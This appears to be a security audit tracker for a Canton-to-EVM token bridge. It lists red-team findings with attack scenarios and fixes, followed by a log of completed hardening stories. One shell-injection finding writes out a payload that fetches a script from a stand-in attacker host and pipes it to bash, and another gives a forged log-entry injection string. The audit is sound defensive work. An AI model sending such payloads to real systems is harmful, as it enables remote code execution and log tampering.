| HIGH | RT2-BUGS-2-F01 | PAUSER_ROLE Enables Forced 48-Hour Bridge Outage | pending | |
|
Both BridgeVault and BridgedTokenV1 implement asymmetric pause: any PAUSER_ROLE holder can pause instantly (no quorum, no delay), but unpause requires the owner (TimelockController) which enforces a mandatory 48-hour delay. Any PAUSER_ROLE key compromise guarantees a minimum 48-hour outage. Key revocation also requires the 48h Timelock, so the attacker can repeat the attack after recovery if the key is not revoked in time. Attacker compromises one PAUSER_ROLE key on BridgeVault. Attacker calls pause() — instant, no quorum. All executeMint calls revert with EnforcedPause. Recovery: Safe multisig must propose unpause to TimelockController, wait 48h, then execute. Attacker repeats after recovery. Each cycle forces 48h+ downtime. High — require M-of-N (e.g., 2-of-3) PAUSER_ROLE signatures to pause; or allow Safe multisig to unpause directly bypassing the 48h delay; or add shorter timelock specifically for unpause. |
||||
| MEDIUM | RT2-BUGS-2-F02 | Immutable DOMAIN_SEPARATOR Becomes Invalid After ChainId Hard Fork | pending | |
|
DOMAIN_SEPARATOR is computed once at deployment from block.chainid (captured as immutable _chainId). If the EVM network undergoes a hard fork changing the chain ID, all existing validator signatures become permanently invalid because they were signed over the old DOMAIN_SEPARATOR. The bridge halts completely on the new chain with no migration path other than deploying a new BridgeVault. EVM network undergoes a contentious hard fork that changes chainId. All in-flight MintIntent signatures signed over the old DOMAIN_SEPARATOR are invalid on the new chain. Validators must re-sign all pending intents from scratch. If the fork is live on two chains, the bridge on the new chain cannot function until a new BridgeVault is deployed and validators reconfigure. Medium — document explicitly that contract is chain-specific and must be redeployed after chainId-changing hard fork; add migration runbook to SECURITY.md; consider using block.chainid dynamically in digest computation. |
||||
| MEDIUM | RT2-BUGS-2-F03 | ERC-7201 Storage Slot Constant Not Independently Verified by Tests | pending | |
|
The ERC-7201 namespaced storage slot is hardcoded as a hex constant in BridgedToken.sol. If this constant is incorrectly computed, BridgedTokenStorage struct fields (bridgeMinter, decimals_) would occupy wrong storage slots, potentially overlapping with inherited upgradeable contract slots. No test in BridgeVaultTest.t.sol or BridgeInvariantTest.t.sol verifies this constant against the ERC-7201 formula. An incorrect ERC-7201 constant causes bridgeMinter to overlap with an OZ internal address slot. Reads of bridgeMinter return a garbage address. The onlyMinter guard on mint() passes for wrong callers. Unauthorized parties can mint unlimited tokens. The collision is silent — no revert, no event — until the minting is detected externally. Medium — add a Foundry test that independently computes the expected slot and asserts equality with the hardcoded constant; use forge inspect storage layout diff on upgrades. |
||||
| MEDIUM | RT2-BUGS-2-F04 | UUPS Plus BeaconProxy Dual Upgrade Path Creates Non-Functional UUPS Route | pending | |
|
BridgedTokenV1 inherits both UUPSUpgradeable and is intended to be deployed behind a BeaconProxy. When deployed behind a BeaconProxy and upgradeToAndCall is called, _upgradeTo writes newImpl to _IMPLEMENTATION_SLOT but BeaconProxy reads from _BEACON_SLOT. The upgrade call succeeds (no revert, emits Upgraded event) but the proxy continues using the beacon's implementation. The operator may believe they successfully upgraded an individual proxy when they did not. During an emergency security patch, an operator calls upgradeToAndCall on a BeaconProxy-deployed instance to deploy a critical fix. The call succeeds with no error. The operator believes the fix is deployed. The proxy continues running the vulnerable old implementation. The security incident continues unmitigated. Medium — add comments explaining that upgradeToAndCall is a no-op on BeaconProxy instances; add tests verifying BeaconProxy ignores _IMPLEMENTATION_SLOT writes; document beacon-to-UUPS migration procedure. |
||||
| MEDIUM | RT2-BUGS-2-F05 | UpgradeableBeacon Ownership Not Enforced On-Chain | pending | |
|
BridgedToken.sol comments state beacon ownership should be held by TimelockController (proposed by Safe multisig), but this is a deployment convention, not on-chain enforcement. If the beacon is deployed with an EOA as owner or if beacon ownership is transferred to an EOA through mistake, a single key compromise allows instant upgrade of ALL bridged token proxies to a malicious implementation, bypassing the 48h Timelock entirely. During a hasty devnet-to-mainnet migration, the beacon is deployed with an EOA owner. Attacker compromises the EOA. Attacker calls beacon.upgradeTo(maliciousImpl). All BeaconProxy instances immediately use the malicious implementation. Malicious implementation removes onlyMinter guard, mints unlimited tokens, or redirects all transfers to the attacker. Attack is irreversible without deploying new beacon. Medium — add deployment verification script asserting beacon.owner() == address(timelockController); add to production readiness checklist in SECURITY.md. |
||||
| MEDIUM | RT2-BUGS-2-F06 | transferMintAuthority Accepts Arbitrary Address Without Interface Validation | pending | |
|
transferMintAuthority transfers mint rights to newVault with only a zero-address check. If newVault is an EOA, mint authority is permanently given to a private key holder outside any M-of-N governance. If newVault is a contract without executeMint logic, the bridge is permanently bricked (old vault loses mint rights, new vault cannot mint). Once executed, the old BridgeVault loses mint rights immediately. A carelessly crafted governance proposal (which operators may not review carefully during the 48h window) transfers mint authority to an address that is actually an EOA. After the timelock executes, the EOA holder can mint unlimited tokens unilaterally. Recovery requires the new address (the EOA holder) to voluntarily transfer mint authority back, which they have no obligation to do. Medium — verify newVault.code.length > 0 to reject EOAs; optionally call a view function on newVault to verify it's a valid BridgeVault; consider 2-step migration (set pending minter, then new vault claims it). |
||||
| LOW | RT2-BUGS-2-F07 | _recoverSigner Uses require With String Errors Instead of Custom Errors | pending | |
|
The rest of BridgeVault.sol uses custom errors (gas-efficient), but _recoverSigner uses legacy require with string messages for v and s validation. This costs more gas than custom errors and creates inconsistency in error handling. Callers catching errors by selector get Error(string) ABI-encoded errors instead of typed custom errors, making integration harder. Off-chain monitoring and integration code catches executeMint reverts by error selector. When _recoverSigner triggers (invalid v or s value), the error arrives as Error(string) with no selector match. Monitoring code fails to classify the error, logs it as 'unknown revert', and may not trigger the appropriate alert for a potential signature manipulation attempt. Low — replace require with custom errors InvalidVValue() and InvalidSValue() for consistency and gas efficiency. |
||||
| LOW | RT2-BUGS-2-F08 | MintExecuted Event Emitted After External Call Minor CEI Violation | pending | |
|
In BridgeVault.sol, usedIntents[intentId]=true (state change) is correct before the external mint call. However, emit MintExecuted(...) occurs after the IBridgedToken(bridgedToken).mint(to, amount) external call. If nonReentrant is ever removed, a reentrancy callback executes before MintExecuted is emitted, potentially confusing off-chain monitors that rely on event ordering. If the nonReentrant modifier is removed in a future refactor, a malicious BridgedToken implementation can reenter executeMint in the callback. MintExecuted has not yet been emitted for the first call, so the reentering call generates a second MintExecuted event that appears before the first. Off-chain monitors see events out of order, causing reconciliation failures. Low — move emit MintExecuted(...) to just before the external mint call for strict CEI compliance and future-proofing. |
||||
| LOW | RT2-BUGS-2-F09 | No Upper Bound on Validator Count Enables Set Bloat | pending | |
|
addValidator has no maximum validator count check. While executeMint is bounded by signatures.length (not validatorCount), off-chain components querying the validator set have no upper bound. No event index on ValidatorAdded makes reconstructing the full set from logs expensive for large N. A governance error adds validators in a loop, resulting in hundreds or thousands of validators in validatorSet. Off-chain monitoring that attempts to enumerate all validators by replaying ValidatorAdded events from genesis becomes extremely expensive. Future enumeration logic in upgrades may have unbounded gas costs. Low — add MAX_VALIDATORS = 100 constant enforced in addValidator; reflects realistic operational limits and bounds gas costs for future enumeration logic. |
||||
| CRITICAL | RT2-BUGS-3-V01 | Shell Injection in cast publish via User-Supplied signedBurnTx | pending | |
|
In webapp/server.js, hex derived from user-supplied signedBurnTx (POST body) is interpolated directly into a shell command string via template literal with execSync. The only transformation is prepending 0x if absent, with no character validation. execSync uses shell by default, so shell metacharacters in the input are interpreted. Attacker POSTs to /api/bridge/bridge-out-request with signedBurnTx='$(curl attacker.com/shell.sh | bash)#'. execSync passes this through /bin/sh, executing arbitrary commands as the Node.js process user. The BRIDGE_API_KEY auth gate limits this to authenticated callers, but a compromised API key or insider achieves full RCE on the coordinator host. Critical — validate signedBurnTx against /^(0x)?[0-9a-fA-F]+$/ before use; replace execSync with execFile using explicit argument arrays (no shell invocation). |
||||
| CRITICAL | RT2-BUGS-3-V02 | TOCTOU Race in Validator Nonce Replay Check | pending | |
|
The validator endpoint checks isUsed(nonce), then performs await cantonSigner.signBytes(intentHash) (async suspension), then calls markUsed(nonce). Node.js is single-threaded but the event loop suspends at every await. Two simultaneous requests with the same nonce both pass the isUsed check before either reaches markUsed. Both receive valid signatures over the same intent, breaking the replay protection guarantee. Attacker sends two identical POST /api/sign-settlement-intent requests concurrently with the same nonce. Both pass isUsed check (nonce not yet marked). Both suspend at the async signBytes call. Both resume and call markUsed. Both return valid signatures. The coordinator receives two valid signatures from the same validator for the same nonce, potentially double-counting towards threshold. Critical — call addNonce (throws on duplicate) before the await, not after; use the throwing variant so duplicates are atomically rejected before signing begins. |
||||
| CRITICAL | RT2-BUGS-3-V03 | makeIntent in Validator Endpoint Missing bridgeVaultAddress and chainId | pending | |
|
The coordinator sends bridgeVaultAddress and chainId to the validator in the request body, but the validator ignores them when building the intent to hash. The resulting intentHash does not include deployment-binding fields. The returnedHashHex echoed back will not match the coordinator's intentHash, causing the signature to be discarded. Even if bypassed, verifySignature would fail as the validator signed a different digest. All bridge-in settlements fail silently with 'Threshold not met' regardless of validator availability. The coordinator discards every validator signature because the echoed intentHash does not match. This is a silent, complete breakage of the M-of-N flow that cannot be detected without comparing hash values in debug logs. Critical — add bridgeVaultAddress and chainId to makeIntent call in validator endpoint: const intent = makeIntent({ ..., bridgeVaultAddress, chainId }). |
||||
| HIGH | RT2-BUGS-3-V04 | AML Sanctions Screener Fails Open on Exception | pending | |
|
The sanctions screening middleware catches all exceptions and calls next(), allowing the bridge operation to proceed unchecked. If the external AML provider (Chainalysis/Elliptic) times out, returns an unexpected response, or throws for any reason, the bridge operation proceeds without sanctions screening. No metric or alert is emitted for screening failures. A network partition between the bridge and AML provider causes all screening calls to throw. The catch block calls next() for every bridge operation. All bridge transactions bypass sanctions screening during the outage. A sanctioned address exploits this window to bridge funds. No alert fires; the outage is invisible to operators. High — implement fail-closed mode for compliance environments: return 503 on screening exception; add circuit breaker + retry; at minimum emit metric/alert on screening failures so outages are detectable. |
||||
| HIGH | RT2-BUGS-3-V05 | EVM Private Key Exposed in Process Arguments | pending | |
|
BRIDGE_KEY (the EVM bridge operator private key) is interpolated directly into the shell command string for cast mktx. On Linux, command arguments are visible to any process that can read /proc/ A container monitoring sidecar or log aggregation tool captures process arguments from /proc. The BRIDGE_KEY appears in plaintext in the captured cmdline. The key is exfiltrated. The attacker can now sign arbitrary EVM transactions as the bridge operator EOA, bypassing all M-of-N controls for legacy cast-based operations. High — pass BRIDGE_KEY via stdin or environment variable instead of command argument; use ethers.js/viem to sign transactions in-process without shelling out. |
||||
| HIGH | RT2-BUGS-3-V06 | Failed Settlement Contracts Permanently Stuck With No Retry Path | pending | |
|
In bridge-reactor.js, if _settle() fails, the contractId is removed from _processing but remains in _seen. The next poll cycle skips it because it is in _seen. There is no mechanism to retry a failed settlement. Any transient failure (validator offline, EVM RPC timeout) permanently strands the corresponding BridgeOperation. Funds are locked in escrow with no automatic recovery path. A transient EVM RPC timeout causes _settle() to fail for BridgeOperation #42. contractId is in _seen — never retried. User's funds are locked for up to 1 hour until the expiry job runs. If the expiry job also fails (see RT2-AVAIL-4-F4), funds are locked indefinitely. Admin must manually call /api/admin/recovery/cancel-bridge-in. High — remove failed contractIds from _seen so they can be retried on next poll; add retry counter and circuit breaker to avoid infinite loops on permanent failures. |
||||
| HIGH | RT2-BUGS-3-V07 | No JWT Token Refresh — Expiry Causes Silent Bridge Failures | pending | |
|
The Canton JWT is read once at startup and never refreshed. Canton JWTs are typically short-lived (24h or less). When the token expires mid-operation, all Canton HTTP API calls return 401 Unauthorized. The error propagates as a generic 500 or rejected promise with no retry logic. Active bridge operations in flight at expiry time are silently abandoned without alerting operators. The Canton JWT expires 24 hours after deployment. All Canton operations (ACS queries, submitCommands) start returning 401. The CantonWatcher poll fails silently — no new operations are processed. Users see bridge operations hanging indefinitely. No alert fires. The bridge appears live (process running, HTTP server responding) but is completely non-functional. High — implement JWT refresh from service account before expiry; decode exp claim at startup and log remaining TTL; emit alert when within 10% of expiry. |
||||
| MEDIUM | RT2-BUGS-3-V08 | Log Injection via User-Controlled Address in Sanctions Log | pending | |
|
The sanctions screener logs subject (user-supplied EVM address or Canton party ID) directly without sanitization. An attacker can inject newlines, ANSI escape codes, or fake log entries to confuse log aggregation, hide malicious activity, or poison SIEM rules. Attacker submits bridge request with EVM address '0xdeadbeef\n[sanctions] 2026-04-10 provider=mock type=evm-address subject=0xbad status=PASS'. Log aggregation receives a fake PASS log entry appearing to clear a sanctioned address. SIEM rule matching on '[sanctions].*status=PASS' is triggered for a malicious address. The real screening result for 0xdeadbeef is buried above the injected line. Medium — strip or escape control characters from all logged values: const safe = (s) => String(s).replace(/[\r\n\t\x00-\x1f\x7f]/g, ''). |
||||
| MEDIUM | RT2-BUGS-3-V09 | Supply Parity Violation Does Not Pause the Bridge | pending | |
|
supply-parity-monitor.js emits parity-violation but there is no listener in server.js that halts bridge operations. The event handler in server.js logs to console and broadcasts SSE — but if no admin dashboard is connected, the SSE event is silently dropped. A real supply divergence (indicating theft or a critical bug) goes unacted upon. The monitor also triggers on any non-zero delta including in-flight operations. A double-mint bug fires. The parity monitor emits parity-violation. No admin dashboard is connected — SSE event dropped. console.error appears in logs but no alert triggers. The bridge continues processing new operations on top of the already-violated supply invariant. The divergence compounds with every subsequent bridge-in until manually discovered. Medium — register parity-violation listener that pauses new operations after N confirmed violations; add debounce of >=2 poll cycles for in-flight tolerance; connect alerting system. |
||||
| MEDIUM | RT2-BUGS-3-V10 | Timestamp-Based Nonces Plus 1-Hour Prune Create Replay Window After Restart | pending | |
|
bridge-reactor.js generates nonces as BigInt(Date.now()). The nonce store prunes entries older than 1 hour. After a process restart, _seen is reset. If a BridgeOperation contract is still in the ACS (settlement failed to archive it), it is re-emitted. A new Date.now() nonce is generated. If the previous nonce was pruned (>1 hour ago), the new nonce is accepted as fresh, enabling two valid sig bundles over different intents for the same escrow. Bridge-in operation fails partially (Canton contract alive but EVM mint submitted). Coordinator crashes for 70 minutes (pruning window). Restarts: new nonce T2 generated (old T1 pruned). Validators accept T2. BridgeVault checks usedIntents[hash(T2)] — not set. Second mint succeeds. Escrow is backed by only one lot of Canton tokens but two lots of EVM tokens have been minted. Medium — use persistent monotonic counter from SqliteNonceStore.nextNonce() instead of Date.now(); increase prune window to 7+ days; cross-reference nonces with contractIds in the store. |
||||
| MEDIUM | RT2-BUGS-3-V11 | spawn with shell:true and Semi-Trusted signedTx | pending | |
|
server.js uses spawn('just', ['bridge-in', baseUnits, signedTx], { shell: true }). shell:true passes all arguments through /bin/sh. signedTx is produced by cast mktx (server's own code), so it is not directly user-controlled. However, a malicious EVM_RPC endpoint could return a response that causes cast to emit shell metacharacters in its output, which then become injected arguments. A malicious EVM RPC endpoint returns a crafted response that causes cast mktx to output a signedTx value containing shell metacharacters. The coordinator passes this to spawn with shell:true. The metacharacters are interpreted by /bin/sh, executing attacker-controlled commands as the coordinator process user. Medium — use execFile instead of spawn with shell:true; explicitly validate signedTx as a hex string before use. |
||||
| LOW | RT2-BUGS-3-V12 | Admin Auth Token Compared With Non-Constant-Time Operation | pending | |
|
In admin-routes.js, the bearer token is compared with ADMIN_API_KEY using JavaScript string !== which is not constant-time. An attacker sending many requests can use timing measurements to infer the ADMIN_API_KEY one character at a time via timing oracle. Attacker sends thousands of requests with varying bearer token values and measures response times precisely. Correct characters cause slightly longer comparison time before the !== returns true. Statistical analysis across many requests recovers the ADMIN_API_KEY character by character. Attacker then accesses all admin endpoints with the recovered key. Low — use crypto.timingSafeEqual(Buffer.from(token), Buffer.from(ADMIN_API_KEY)) padded to equal length for constant-time comparison. |
||||
| LOW | RT2-BUGS-3-V13 | Number(amount) Precision Loss for Large Integer Amounts | pending | |
|
The validator endpoint uses Number(amount) <= 0 for validation. Number() loses precision beyond 2^53-1. A very large amount string passes > 0 but is rounded. The actual BigInt(amount) parsing happens in makeIntent. The validation could be bypassed with scientific notation like '0e0' — Number('0e0') === 0 but BigInt('0e0') throws, caught by try/catch in the coordinator path but not at the validator endpoint using this check. Attacker submits amount='0e0' (evaluates to Number 0, bypasses > 0 check). BigInt('0e0') throws during intent construction. The exception propagates as an unhandled error, crashing the signing handler. If many such requests are sent concurrently, the validator endpoint becomes unresponsive due to uncaught exceptions in async handlers. Low — use BigInt-native validation: if (!amount || BigInt(amount) <= 0n) inside a try/catch. |
||||
| LOW | RT2-BUGS-3-V14 | mTLS Agent Lacks Explicit rejectUnauthorized True | pending | |
|
The https.Agent used for mTLS connections to validators does not explicitly set rejectUnauthorized: true. While it defaults to true in Node.js, if NODE_TLS_REJECT_UNAUTHORIZED=0 is set in the environment (common debugging override), this silently disables certificate validation for all HTTPS requests, allowing MITM attacks against validator connections. An operator sets NODE_TLS_REJECT_UNAUTHORIZED=0 to debug a certificate issue and forgets to unset it. All subsequent coordinator-to-validator mTLS connections bypass certificate validation. A network-level MITM attacker can intercept signing requests, substitute their own signing requests, and collect valid signatures over attacker-crafted intents. Low — explicitly set rejectUnauthorized: true in the https.Agent options so the security property is not accidentally overridden by environment variables. |
||||
| CRITICAL | RT2-BUGS-4-F1 | Post-Mint Double-Spend via CancelBridgeIn | pending | |
|
After a successful BridgeIn, EVM tokens are minted (irreversible) and BridgeEscrowHolding is created with expiresAt=now+1h. After expiresAt, the user (cantonParty) can exercise CancelBridgeIn which calls ReleaseFromEscrow and returns Canton tokens. CancelBridgeIn contains no check that EVM tokens have been burned. The evmBurnTxHash fields stored in BridgeEscrowHolding are never verified at cancellation time. 1. User bridges in 1000 tokens — EVM tokens minted. 2. User waits 1 hour. 3. User calls CancelBridgeIn(forceCancel=False) — 1000 Canton tokens returned. 4. User still holds 1000 EVM tokens. 5. Net gain: 1000 Canton tokens from thin air; EVM supply is unbacked by any Canton collateral. Critical — CancelBridgeIn must verify on-chain that EVM tokens have been burned (usedIntents check on BridgeVault) before releasing Canton escrow, or require admin gating that verifies EVM burn first. |
||||
| CRITICAL | RT2-BUGS-4-F2 | Bridge-Out Atomicity Gap — Irreversible EVM Burn With Fragile Canton Release | pending | |
|
The /api/bridge/bridge-out-request endpoint implements bridge-out in two sequential phases with no atomicity guarantee: Phase 1 (EVM burn via cast publish) is irreversible. Phase 2 (Canton escrow release via VerifiedBridgeOut) can fail for many reasons. If Phase 2 fails after Phase 1 completes, the user has permanently lost their EVM tokens with no recovery mechanism. SECURITY.md's claim of idempotency is false — re-POST calls cast publish again and EVM rejects with 'nonce already used' before reaching the Canton phase. 1. User initiates bridge-out. 2. EVM burn confirms (irreversible). 3. Coordinator crashes (or Canton timeout / node offline / VerifiedBridgeOut rejection). 4. Canton escrow is NOT released. 5. User has lost EVM tokens permanently. 6. Re-POST fails at EVM phase (nonce used). 7. Admin must manually exercise emergency recovery on Canton. Critical — perform VerifiedBridgeOut on Canton first (which atomically submits EVM burn via ZenithVB), or implement persistent operation journal that records burn tx hash and can retry Canton-only phase independently. |
||||
| HIGH | RT2-BUGS-4-F3 | Burn Amount Not Verified On-Chain — Underburn Attack | pending | |
|
The bridge-out-request handler constructs the SettlementIntent with user-supplied amount from the HTTP request body, not from parsed burn event logs. SECURITY.md states the bridge parses burn events to extract authoritative amount, but this check is NOT implemented. cast receipt is called for confirmation but the Transfer(user, address(0), amount) event is never parsed to validate the actual burned amount. 1. User holds 1000 EVM tokens + 1000-token Canton escrow. 2. User constructs burn tx for 1 token. 3. POSTs bridge-out-request with signedBurnTx= High — parse the Transfer event from the burn tx receipt, extract actual burned amount, and assert it equals the escrow holding amount before building the intent. |
||||
| HIGH | RT2-BUGS-4-F4 | Bridge-Reactor Broken by CID Identity Mismatch With Fix 1 | pending | |
|
bridge-reactor.js builds the settlement intent using the BridgeOperation contractId as escrowContractId. But BridgeOperation and BridgeEscrowHolding are different contracts with different contract IDs. Fix 1 in VerifiedBridgeOut requires: assertMsg (show escrowHoldingCid == intentEscrowContractId). These never match. Every reactor-driven settlement is rejected on Canton. Additionally for bridge-in, the evmTxData in BridgeOperation was already used by the atomic BridgeIn, so BridgeVault reverts with IntentAlreadyUsed on resubmission. The bridge-reactor is non-functional for both bridge directions in the current architecture. All bridge-in settlements fail with Canton rejection (CID mismatch). All bridge-out settlements fail with IntentAlreadyUsed. The bridge appears to process operations (collects signatures, submits transactions) but all operations fail silently at the Canton/EVM layer. High — reactor must use BridgeEscrowHolding contractId (not BridgeOperation contractId) as escrowContractId in the intent; must not re-submit already-executed BridgeIn EVM tx data. |
||||
| HIGH | RT2-BUGS-4-F5 | EVM Reorg During Bridge-Out Produces Unbacked Canton Tokens | pending | |
|
The bridge-out path waits for cast receipt confirmation (1 block) before proceeding to Canton release. EVM finalization requires more than 1 confirmation to be safe against reorgs. If the burn tx is reverted by a reorg after the Canton escrow has been released, the user retains both their EVM tokens (burn tx reverted) and their Canton tokens (escrow released). No reorg detection or rollback mechanism exists. 1. Burn tx confirmed in block N. 2. Server proceeds to collect sigs and submit VerifiedBridgeOut on Canton. 3. EVM reorg reverts block N — burn tx never happened. 4. Canton escrow is released (or release is in flight). 5. EVM tokens re-appear in user's wallet. 6. User has both EVM tokens and Canton tokens. 7. Bridge supply invariant violated with no detection mechanism. High — wait for sufficient EVM finality confirmations before proceeding to Canton release; add reorg detection by monitoring the EVM chain for the burn tx block being orphaned; document whether Zenith provides instant finality. |
||||
| HIGH | RT2-BUGS-4-F6 | Allocation Orphan When BridgeIn Is Never Called | pending | |
|
When a user creates an Allocation (Step 1 of bridge-in), the Allocation contract has beneficiary=BridgeOperator and no expiry. If BridgeWorkflow.BridgeIn is never called (admin offline, coordinator bug, bridge paused), the Allocation sits permanently. The user has no user-exercisable choice to cancel the Allocation and recover their FungibleHolding. CancelBridgeIn only applies to BridgeOperation contracts (post-BridgeIn). User creates Allocation of 1000 tokens. Bridge coordinator is offline. Allocation contract exists indefinitely with no escape hatch for the user. User cannot access their tokens. Admin must manually exercise cancellation on the Allocation. If admin is also unavailable or unresponsive, user funds are locked indefinitely with no protocol-level remedy. High — add expiry to the Allocation contract or provide a user-exercisable CancelAllocation choice that handles the pre-BridgeIn state. |
||||
| MEDIUM | RT2-BUGS-4-F7 | No On-Chain Enforcement of evmBurnTxHash in BridgeEscrowHolding | pending | |
|
BridgeEscrowHolding stores evmBurnTxHash and evmBurnLogIndex as pre-committed identifiers for the future bridge-out burn event. VerifiedBridgeOut does not verify that the submitted evmBurnTxData corresponds to the evmBurnTxHash stored in the escrow. The cross-chain link between a specific burn tx and a specific escrow is enforced only off-chain by the coordinator's logic. A compromised coordinator submits a burn tx for user A's escrow to release user B's escrow (provided they share the same escrowContractId binding from Fix 1, which partially blocks this). Without Fix 1, any burn tx can release any escrow. Even with Fix 1, a coordinator that can fabricate valid intent data can use one user's burn to release a different user's escrow of the same amount. Medium — validate that the evmBurnTxData submitted in VerifiedBridgeOut corresponds to the evmBurnTxHash pre-committed in the BridgeEscrowHolding at creation time. |
||||
| MEDIUM | RT2-BUGS-4-F8 | No User-Facing Operation Status Endpoint | pending | |
|
There is no GET /api/bridge/status/:operationId or equivalent endpoint. A user who initiates a bridge operation cannot check if their operation is pending, confirmed, or failed; query the current phase (waiting for sigs, submitted to Canton, etc.); or determine if manual recovery action is required. The only observable feedback is the SSE stream during the HTTP request. User initiates bridge-in. Their network connection drops after submitting. They have no way to know if the operation succeeded, failed, or is still in progress. They must guess whether to resubmit (risking double-processing if the original is still in flight) or wait (potentially indefinitely if the operation is permanently failed). Without status visibility, users make incorrect recovery decisions. Medium — implement GET /api/bridge/status/:operationId endpoint backed by persistent operation journal; expose current phase, sig collection progress, EVM tx hash, and Canton settlement status. |
||||
| MEDIUM | RT2-BUGS-4-F9 | No End-to-End Operation Timeout or Guaranteed Cleanup | pending | |
|
BridgeEscrowHolding.expiresAt is set to now+1h, but there is no maximum end-to-end bridge operation lifetime enforced by the protocol. The ExpireBridgeEscrow background job referenced in code comments is not implemented in the codebase. The reactor checks payload.expiresAt and skips expired operations but no daemon exercises CancelBridgeIn on expired escrows. Without the background job, expired escrows accumulate on Canton permanently and supply parity diverges silently. Many bridge operations time out simultaneously (e.g., after a coordinator outage). No background job exercises CancelBridgeIn. Expired BridgeEscrowHolding contracts accumulate on Canton ACS indefinitely. The supply parity monitor reports growing divergence (Canton-locked tokens exceed EVM supply). Admin must manually cancel each via /api/admin/recovery/cancel-bridge-in, which does not scale. Medium — implement ExpireBridgeEscrow background job with alerting; add maximum operation lifetime enforcement with guaranteed cleanup path. |
||||
| LOW | RT2-BUGS-4-F10 | Timestamp-as-Nonce Collision in Concurrent Operations | pending | |
|
Settlement intent nonces are computed as BigInt(Date.now()) with millisecond resolution. If two bridge-out requests arrive within the same millisecond, both intents have the same nonce. The validator nonce store accepts the first and rejects the second. The second legitimate bridge-out request permanently fails with 'Nonce already signed (replay rejected)' and requires a re-POST with a new nonce — but the burn tx is already spent. The code comment 'monotonically increasing' is also wrong — clock drift or NTP jumps can produce non-monotonic values. Two users submit bridge-out requests simultaneously. Both requests arrive at the coordinator within the same millisecond. Both nonces are identical (Date.now() resolves to same ms). One gets signed, one is rejected. The rejected user's EVM tokens are burned but their Canton escrow is not released. The re-POST cannot reuse the same (already-spent) burn tx — the operation is permanently stuck. Low — use SQLite nonce store's nextNonce() method (or similar monotonic counter) instead of Date.now(); eliminates both collision risk and non-monotonic clock drift issues. |
||||
07Hardening History — PROD Stories
▼
18 security hardening stories tracked across Wave 1 and RT2 review cycles.
| ID | Title | Domain | Status | Pts |
|---|---|---|---|---|
| SEC-1 | Fix VerifiedBridgeOut escrow binding (intentEscrowContractId) Add in-contract assertion that intentEscrowContractId matches the actual escrow contract being consumed. Encode escrowContractId in the SettlementIntent pre-image in the coordinator. |
daml | Done | 3 |
| SEC-2 | Remove hardcoded keys; require BRIDGE_KEY via env Remove hardcoded Anvil test key from server.js. Require BRIDGE_KEY, ENDUSER_SIGNING_KEY, BRIDGE_API_KEY, ADMIN_API_KEY, FIREBLOCKS_WEBHOOK_SECRET via environment variables. Server fails hard at startup if any required key is missing. |
backend | Done | 2 |
| SEC-3 | Add AddressMapping co-signature requirement (Fix 3) Change UpdateEvmAddress choice controller to require both admin AND cantonParty signatures. A compromised admin can no longer silently redirect bridge-in EVM recipients. |
daml | Done | 2 |
| SEC-4 | Fix shell injection in coordinator (execFileSync) Replace execSync(shell-string) with execFileSync(binary, argv_array) in coordinator.js submitSettlement(). Eliminates OS command injection via intent fields. |
backend | Done | 1 |
| PROD-1 | SQLite-backed nonce store Replace in-memory nonce store with SQLite persistence (NONCE_DB_PATH). Nonces persist across restarts, closing the replay window that existed after process restart. |
backend | Done | 3 |
| PROD-2 | BRIDGE_API_KEY authentication on all bridge endpoints Add Bearer token authentication to all /api/bridge/* and /api/canton/* endpoints. ADMIN_API_KEY on all /api/admin/* routes. Remove unauthenticated Canton proxy routes. |
backend | Done | 2 |
| PROD-3 | Fireblocks webhook v2 HMAC + timing-safe comparison Migrate to Fireblocks v2 webhook format. Require FIREBLOCKS_WEBHOOK_SECRET at startup. Use crypto.timingSafeEqual for HMAC comparison. Add 5-minute timestamp freshness window. |
backend | Done | 2 |
| PROD-4 | mTLS coordinator-to-validator authentication Implement mutual TLS for all coordinator-to-validator HTTPS connections. COORDINATOR_CERT_PATH, COORDINATOR_KEY_PATH, VALIDATOR_CA_CERT_PATH env vars. Devnet fallback X-Coordinator-Secret logged at startup. |
backend | Done | 5 |
| PROD-5 | AML/sanctions screening integration Add AML screening to all bridge-in and bridge-out requests. Support Chainalysis, Elliptic, and mock providers. Sanctioned addresses rejected with 403 before any Canton or EVM operations. |
backend | Done | 5 |
| PROD-6 | BigInt arithmetic throughout (no float precision loss) Replace all floating-point token amount operations with native BigInt. Remove Math.round(amount * 1e10) pattern. No precision loss in amount encoding, intent hashing, or EVM calldata. |
backend | Done | 1 |
| PROD-7 | Supply parity monitor with SSE alerting Implement supply parity monitor comparing BridgedToken.totalSupply() on EVM against sum of all BridgeEscrowHolding.amount on Canton. SSE alerts via GET /api/admin/supply-parity. Recovery runbook documented. |
backend | Done | 5 |
| PROD-8 | Rate limiting on bridge and validator endpoints Add express-rate-limit: 20 req/min on /api/sign-settlement-intent, 10 req/min on /api/bridge/* endpoints. |
backend | Done | 1 |
| PROD-9 | KmsSigner factory (AWS KMS production key management) Implement KmsSigner using AWS KMS kms:Sign API. Raw private key never leaves hardware. VALIDATOR_HSM_PROVIDER=aws-kms selects production signer. SoftwareKeySigner blocked in production mode. |
backend | Done | 8 |
| PROD-10 | TimelockController deployment and BridgeVault ownership transfer Deploy OpenZeppelin TimelockController with 48h minimum delay. Safe multisig as PROPOSER_ROLE. Transfer BridgeVault and UpgradeableBeacon ownership to TimelockController. Document governance ceremony. |
evm | Done | 5 |
| PROD-11 | EIP-712 domain separator and s-value malleability fix Add explicit high-s check in BridgeVault._recoverSigner() per EIP-2. Require v == 27 || v == 28. DOMAIN_SEPARATOR bound to immutable chainId and address(this). New Forge tests for high-s rejection. |
evm | Done | 3 |
| PROD-12 | ValidatorConfigProposal M-of-N admin governance Implement ValidatorConfigProposal with adminApprovalThreshold. Single BridgeAdmin key cannot unilaterally rotate validator set. Proposal deadline expiry. Atomic BridgeWorkflow replacement when threshold reached. |
daml | Done | 8 |
| PROD-13 | Transaction recovery runbook and cancel-bridge-in endpoint Document stuck bridge-in and stuck bridge-out recovery procedures. Implement POST /api/admin/recovery/cancel-bridge-in. User accepts ReleaseProposal to reclaim FungibleHolding. Validator set sync CLI tool. |
backend | Done | 3 |
| PROD-14 | External party migration scaffold (BridgeOperator Ed25519) Scaffold BridgeOperator migration from participant-hosted party to external party with PartyToKeyMapping threshold. Key ceremony documented. Migration not yet active — completing before production launch. |
daml | In Progress | 13 |
08Governance & Operations
▼
